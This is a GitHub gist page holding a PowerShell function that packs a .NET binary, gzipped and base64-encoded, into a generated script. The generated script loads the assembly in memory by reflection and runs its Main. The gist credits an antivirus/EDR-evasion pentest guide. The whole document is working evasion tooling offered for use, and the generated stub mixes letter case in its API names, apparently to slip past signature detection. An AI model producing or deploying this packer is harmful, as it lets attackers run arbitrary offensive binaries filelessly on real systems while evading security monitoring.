-
-
Save neontechtra/c22fbcbcf4dd6d6ff2dba7f2c4d85634 to your computer and use it in GitHub Desktop.
This script is a modification of the one from @snovvcrash website : https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly and some code of PowerSharpPack. This is made to package some bniaries to powershell.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Function Invoke-EncodeAssembly | |
| { | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory=$true)] | |
| [String] | |
| $binaryPath, | |
| [Parameter(Mandatory=$true)] | |
| [String] | |
| $namespace, | |
| [String] | |
| $class = "Program", | |
| [bool] | |
| $capture = $false, | |
| [String] | |
| $out = "out.txt" | |
| ) | |
| $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\$binaryPath") | |
| [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream | |
| $gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress) | |
| $gzipStream.Write($bytes, 0, $bytes.Length) | |
| $gzipStream.Close() | |
| $outStream.Close() | |
| [byte[]] $outBytes = $outStream.ToArray() | |
| $b64Zipped = [System.Convert]::ToBase64String($outBytes) | |
| $b64Zipped | Out-File -NoNewLine -Encoding ASCII .\$out | |
| $invokePs1 = 'function Invoke-' + $namespace | |
| $invokePs1 += @' | |
| { | |
| [CmdletBinding()] | |
| Param ( | |
| [String] | |
| $Command = "cmd" | |
| ) | |
| $b=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(" | |
| '@ | |
| $invokePs1 += $b64Zipped | |
| $invokePs1 += @' | |
| ")) | |
| $decompressed = New-Object IO.Compression.GzipStream($b,[IO.Compression.CoMPressionMode]::DEComPress) | |
| $out = New-Object System.IO.MemoryStream | |
| $decompressed.CopyTo( $out ) | |
| [byte[]] $byteOutArray = $out.ToArray() | |
| $RAS = [System.Reflection.Assembly]::Load($byteOutArray) | |
| '@ | |
| if ($capture) { | |
| $invokePs1 += @' | |
| $OldConsoleOut = [Console]::Out | |
| $StringWriter = New-Object IO.StringWriter | |
| [Console]::SetOut($StringWriter) | |
| '@ | |
| } | |
| $invokePs1 += " [" + $namespace + "." + $class + ']::Main($Command.Split(" "))' | |
| if ($capture) { | |
| $invokePs1 += @' | |
| [Console]::SetOut($OldConsoleOut) | |
| $Results = $StringWriter.ToString() | |
| $Results | |
| '@ | |
| } | |
| $invokePs1 += @' | |
| } | |
| '@ | |
| $outfile = "Invoke-" + $namespace + ".ps1" | |
| $invokePs1 | Out-File -NoNewLine -Encoding ASCII .\$outfile | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment